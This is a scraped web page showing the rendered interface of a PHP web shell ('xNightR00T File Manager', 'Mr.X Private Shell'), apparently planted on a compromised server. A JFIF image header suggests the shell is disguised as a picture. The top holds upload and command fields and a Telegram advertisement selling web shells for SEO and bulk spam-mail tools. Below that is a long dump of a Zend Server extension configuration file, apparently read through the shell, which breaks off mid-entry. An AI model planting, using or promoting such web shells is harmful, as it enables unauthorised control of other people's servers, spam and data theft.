xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
{
    "Zend Deployment": {
        "name": "Zend Deployment",
        "extensionId": "deployment",
        "isDaemon": 0,
        "shortDescription": "Allows packaging, deployment, and updating of a PHP applications",
        "longDescription": "Zend Deployment allows you to package an application and deploy it using Zend Server, making it available for users on the Web.",
        "iniFileName": "deployment.ini",
        "subPath": "deployment",
        "zemExtension": true,
        "directives": {
            "zend_deployment.log_verbosity_level": {
                "shortDescription": "The log's verbosity level.",
                "type": 3,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:6:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";i:3;s:1:\"3\";i:4;s:1:\"4\";i:5;s:1:\"5\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_deployment.log_rotation_size": {
                "shortDescription": "The maximum size of the log file before it is rotated.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10"
                    }
                ],
                "units": "MBytes",
                "validation": {
                    "minValue": 0,
                    "maxValue": 1000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_deployment.tasks_timeout": {
                "shortDescription": "Timeout for deployment tasks.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "120"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": 60,
                    "maxValue": 1000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_deployment.auto_download": {
                "shortDescription": "When enabled, will allow application package download when triggered by user",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "Zend Code Tracing": {
        "name": "Zend Code Tracing",
        "extensionId": "codetracing",
        "isDaemon": 0,
        "shortDescription": "Enables real-time execution trace recording of PHP requests",
        "longDescription": "Zend Server Code Tracing is an in-depth diagnostic tool that allows you to drill-down to the function level to view actual performance-related information and statistics.",
        "iniFileName": "codetracing.ini",
        "subPath": "codetracing",
        "zemExtension": true,
        "directives": {
            "zend_codetracing.use_lite_trace": {
                "shortDescription": "Should CodeTracing generate a lightweight trace file (profiler trace)",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.enable": {
                "shortDescription": "Is tracing functionality enabled?",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.buffer_size": {
                "shortDescription": "The size of the trace memory buffer.",
                "type": 5,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "10M"
                    }
                ],
                "units": "Bytes",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "\/^[0-9]+[K|M|G]?$\/i",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.dump_format": {
                "shortDescription": "The type of dump produced.",
                "type": 3,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:3:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.max_string": {
                "shortDescription": "The maximal length of string values to store in trace files. Longer strings will be truncated.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "48"
                    }
                ],
                "units": "Bytes",
                "validation": {
                    "minValue": 0,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.max_depth": {
                "shortDescription": "The maximal depth of arrays to store in trace files. Deeper nesting levels will not be stored.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.max_elements": {
                "shortDescription": "The maximal number of array elements to store in trace files. Longer arrays will be truncated.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "10"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.dump_file": {
                "shortDescription": "The file path and name prefix for saving trace files, relative to zend.data_dir.",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "codetracing\/dump"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "\/^\\w.*\/",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.trace_enable": {
                "shortDescription": "Enable Tracing data collection.",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.trace_time": {
                "shortDescription": "Enable execution time measurment.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.trace_source_lines": {
                "shortDescription": "Enable source file collection.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.trace_internal_functions": {
                "shortDescription": "Enable internal functions collection.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.trace_user_functions": {
                "shortDescription": "Enable user functions call collection.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.trace_includes": {
                "shortDescription": "Enable tracing include and require calls.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.trace_arguments": {
                "shortDescription": "Enable function call argument collection.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.trace_return_values": {
                "shortDescription": "Enable function return value collection.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.trace_exceptions": {
                "shortDescription": "Enable PHP exception data collection.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.trace_arrays": {
                "shortDescription": "Enable array contents recording.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.trace_write": {
                "shortDescription": "Enable output data writing collection.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.trace_headers": {
                "shortDescription": "Enable HTTP response headers collection.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.trace_memory_usage": {
                "shortDescription": "Enable memory usage data collection.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.trace_errors": {
                "shortDescription": "Enable PHP error collection.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.trace_events": {
                "shortDescription": "Enable Zend Monitor event recording.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.always_dump": {
                "shortDescription": "Trace data is always persisted.",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.dump_on_segv": {
                "shortDescription": "Save tracing data if a fatal signal (e.g. a segmentation fault) is raised.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.max_freq": {
                "shortDescription": "Amount of time in seconds to wait between consecutive Code Tracing data writes.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.log_file": {
                "shortDescription": "Log file for the Code Tracing module (relative to the log dir).",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "codetracing.log"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.log_verbosity": {
                "shortDescription": "Logging verbosity level.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.override_functions": {
                "shortDescription": "List of internal functions to Trace.",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "@ZEND_PREFIX\/etc\/functions.txt"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.max_concurrent_trace_buffers": {
                "shortDescription": "Number of concurrent trace buffer allocated.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "5"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.log_rotation_size": {
                "shortDescription": "The maximal size of the log file before it is rotated.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10"
                    }
                ],
                "units": "MBytes",
                "validation": {
                    "minValue": 0,
                    "maxValue": 1000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.use_fast_timestamp": {
                "shortDescription": "Use cycles-based time caclculation. Set to false only if you have a problem with frequency probe.",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.allowed_hosts": {
                "shortDescription": "Allow trace file generation only from requests coming from these hosts",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "127.0.0.0\/8"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.allow_from_all": {
                "shortDescription": "Allow trace file generation from all IPs",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_codetracing.max_disk_space": {
                "shortDescription": "Maximum disk space for trace files.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "500"
                    }
                ],
                "units": "MBytes",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "\/^[0-9\\.]+$\/i",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "Zend Data Cache": {
        "name": "Zend Data Cache",
        "extensionId": "datacache",
        "isDaemon": 0,
        "shortDescription": "Caches application data of various data types using PHP APIs",
        "longDescription": "The Zend Data Cache is used to cache different types of data (e.g., strings, arrays and objects), as well as script output or script output elements for various durations. Items can be stored in shared memory (SHM) or to disk.",
        "iniFileName": "datacache.ini",
        "subPath": "datacache",
        "zemExtension": true,
        "directives": {
            "zend_datacache.enable_statistics": {
                "shortDescription": "Enable statistics collection",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_datacache.shm.memory_cache_size": {
                "shortDescription": "Amount of shared memory to be used by a single namespace (in MB per namespace).",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "32",
                        "restrictions": [
                            {
                                "os": "WindowsAll",
                                "product": ""
                            },
                            {
                                "os": "linux-i386",
                                "product": ""
                            },
                            {
                                "os": "linux-x86_64",
                                "product": ""
                            },
                            {
                                "os": "linux-amd64",
                                "product": ""
                            },
                            {
                                "os": "linux-armhf",
                                "product": ""
                            },
                            {
                                "os": "linux-ppc64",
                                "product": ""
                            },
                            {
                                "os": "linux-ppc64le",
                                "product": ""
                            }
                        ]
                    },
                    {
                        "fixed": "2",
                        "restrictions": [
                            {
                                "os": "darwin",
                                "product": ""
                            },
                            {
                                "os": "aix-ppc",
                                "product": ""
                            }
                        ]
                    }
                ],
                "units": "MBytes",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_datacache.shm.memory_cache_size_kb": {
                "shortDescription": "Amount of shared memory to be used by a single namespace (in KB per namespace).",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "KBytes",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_datacache.default_miss_cost": {
                "shortDescription": "When the miss cost cannot be evaluated, use this value for statistics purposes",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "100"
                    }
                ],
                "units": "milliseconds",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_datacache.shm.max_num_namespaces": {
                "shortDescription": "Maximum number of namespaces that Data Cache will allocate.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_datacache.default_ttl": {
                "shortDescription": "Set the default life time of a cache entry (seconds). Value of 0 means infinite",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_datacache.disk.save_path": {
                "shortDescription": "The path for storing cached content to the disk",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "datacache"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_datacache.disk.dir_level": {
                "shortDescription": "Directory depth for storing keys.",
                "type": 3,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:3:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_datacache.enable": {
                "shortDescription": "Enables the Data Cache. The Data Cache cannot work without this directive. \n                The Data Cache can be turned on or off from the User Interface",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_datacache.lock_on_expire": {
                "shortDescription": "Enables the lock on expire mechanism. \n                This is ON by default and should stay that way for performance reasons.",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_datacache.log_verbosity_level": {
                "shortDescription": "The log verbosity level [0-5].",
                "type": 3,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:6:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";i:3;s:1:\"3\";i:4;s:1:\"4\";i:5;s:1:\"5\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_datacache.log_rotation_size": {
                "shortDescription": "The maximum size of the log file before it is rotated.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10"
                    }
                ],
                "units": "MBytes",
                "validation": {
                    "minValue": 0,
                    "maxValue": 1000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "Zend Debugger": {
        "name": "Zend Debugger",
        "extensionId": "debugger",
        "isDaemon": 0,
        "shortDescription": "Enables remote debugging of PHP scripts with Zend Studio",
        "longDescription": "The Zend Debugger communicates with the Zend (PHP) Engine to retrieve runtime information and present it in Zend Studio for root cause analysis purposes.",
        "iniFileName": "debugger.ini",
        "subPath": "debugger",
        "zemExtension": true,
        "directives": {
            "zend_debugger.allow_hosts": {
                "shortDescription": "Specifies the hosts that are allowed to connect (hostmask list) with Zend Debugger when running a remote debug session with Zend Studio",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "127.0.0.0\/8,10.0.0.0\/8,192.168.0.0\/16,172.16.0.0\/12"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_debugger.deny_hosts": {
                "shortDescription": "Specifies the hosts that are not allowed to connect (hostmask list) with the Zend Debugger when running a remote debug session with Zend Studio",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_debugger.allow_from_all": {
                "shortDescription": "Allow debugging from all clients. Overrides allow_hosts and deny_hosts",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_debugger.allow_tunnel": {
                "shortDescription": "A list of hosts (hostmask list) that can use the machine on which Zend Server is installed to create a communication tunnel for remote debgging with Zend Studio. This is done to solve firewall connectivity limitations",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_debugger.max_msg_size": {
                "shortDescription": "The maximum message size accepted by the Zend Debugger for protocol network messages ",
                "type": 4,
                "section": "",
                "visibility": "2",
